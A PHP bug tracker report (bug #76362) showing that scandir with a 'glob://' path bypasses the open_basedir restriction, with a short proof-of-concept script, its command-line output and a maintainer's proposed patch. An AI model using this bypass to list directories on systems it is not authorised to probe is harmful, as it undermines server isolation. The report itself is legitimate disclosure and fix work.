php.net |  support |  documentation |  report a bug |  advanced search |  search howto |  statistics |  random bug |  login
Bug #76362 Bypass open_basedir restriction via scandir and glob://
Submitted: 2018-05-21 14:19 UTC Modified: 2021-07-12 17:23 UTC
From: will at wbowling dot info Assigned:
Status: Verified Package: *Directory/Filesystem functions
PHP Version: 7.2.5 OS: Linux
Private report: No CVE-ID: None
Welcome back! If you're the original bug submitter, here's where you can edit the bug or add additional notes.
If you forgot your password, you can retrieve your password here.
Password:
Status:
Package:
Bug Type:
Summary:
From: will at wbowling dot info
New email:
PHP Version: OS:

 

 [2018-05-21 14:19 UTC] will at wbowling dot info
Description:
------------
Calling `scandir` with `glob:///*` will bypass any open_basedir that has been set and list the directories anyway.

$ php --version
PHP 7.2.5 (cli) (built: May  5 2018 00:18:54) ( NTS )

$ php -d open_basedir=/tmp ./poc.php '/'
Warning: scandir(): open_basedir restriction in effect. File(/) is not within the allowed path(s): (/tmp) in /tmp/poc.php on line 1

$ php -d open_basedir=/tmp ./poc.php 'glob:///*'
Array
(
    [0] => bin
    [1] => boot
    [2] => dev
    [3] => etc
    [4] => home
    [5] => lib
    [6] => lib64
    [7] => media
    [8] => mnt
    [9] => opt
    [10] => proc
    [11] => root
    [12] => run
    [13] => sbin
    [14] => srv
    [15] => sys
    [16] => tmp
    [17] => usr
    [18] => var
)
$ php -d open_basedir=/tmp ./poc.php 'glob:///va*/*'
Array
(
    [0] => backups
    [1] => cache
    [2] => lib
    [3] => local
    [4] => lock
    [5] => log
    [6] => mail
    [7] => opt
    [8] => run
    [9] => spool
    [10] => tmp
)

Test script:
---------------
<?php
print_r(scandir($argv[1]));


Patches

Pull Requests

History

AllCommentsChangesGit/SVN commitsRelated reports
 [2018-05-23 22:09 UTC] cmb@php.net
FWIW, I cannot reproduce this (i.e. the open_basedir restriction
is in effect if I am using a glob stream wrapper).
 [2018-05-23 23:54 UTC] will at wbowling dot info
After a bit more testing it will only bypass the restriction if the current working directory is in the open_basedir:

$ pwd
/tmp
$ php -d open_basedir=/tmp/restrict restrict/poc.php 'glob:///*'
PHP Warning:  scandir(): open_basedir restriction in effect. File(/*) is not within the allowed path(s): (/tmp/restrict) in /tmp/restrict/poc.php on line 2
...

$ cd restrict/
$ php -d open_basedir=/tmp/restrict ./poc.php 'glob:///*'
Array
(
    [0] => bin
    [1] => boot
...
)
 [2018-05-24 15:02 UTC] cmb@php.net
-Status: Open +Status: Verified
 [2018-05-24 15:02 UTC] cmb@php.net
> After a bit more testing it will only bypass the restriction if
> the current working directory is in the open_basedir:

Indeed!
 [2020-05-05 15:04 UTC] cmb@php.net
The problem is in php_check_specific_open_basedir().  When
VCWD_REALPATH() is called[1] the first time, the path is not
resolved. In the following, path_tmp is set to an empty string[2],
and when VCWD_REALPATH() is called again with the empty string, it
resolves to the CWD, which is obviously wrong.

A simple fix would be:


 main/fopen_wrappers.c | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/main/fopen_wrappers.c b/main/fopen_wrappers.c
index 520edfadbb..6026ba0726 100644
--- a/main/fopen_wrappers.c
+++ b/main/fopen_wrappers.c
@@ -190,7 +190,7 @@ PHPAPI int php_check_specific_open_basedir(const char *basedir, const char *path
 #else
 		path_file = strrchr(path_tmp, DEFAULT_SLASH);
 #endif
-		if (!path_file) {
+		if (!path_file || path_file == path_tmp) {
 			/* none of the path components exist. definitely not in open_basedir.. */
 			return -1;
 		} else {


However, that would break setups where open_basedir=/

[1] <https://github.com/php/php-src/blob/php-7.2.30/main/fopen_wrappers.c#L168>
[2] <https://github.com/php/php-src/blob/php-7.2.30/main/fopen_wrappers.c#L209>
 [2021-07-12 15:38 UTC] cmb@php.net
-Type: Security +Type: Bug
 [2021-07-12 15:38 UTC] cmb@php.net
open_basedir bypasses are not considered to be security issues;
cf. <https://externals.io/message/105606>
and <https://externals.io/message/115406>.
 
PHP Copyright © 2001-2024 The PHP Group
All rights reserved.
Last updated: Thu Nov 21 18:01:29 2024 UTC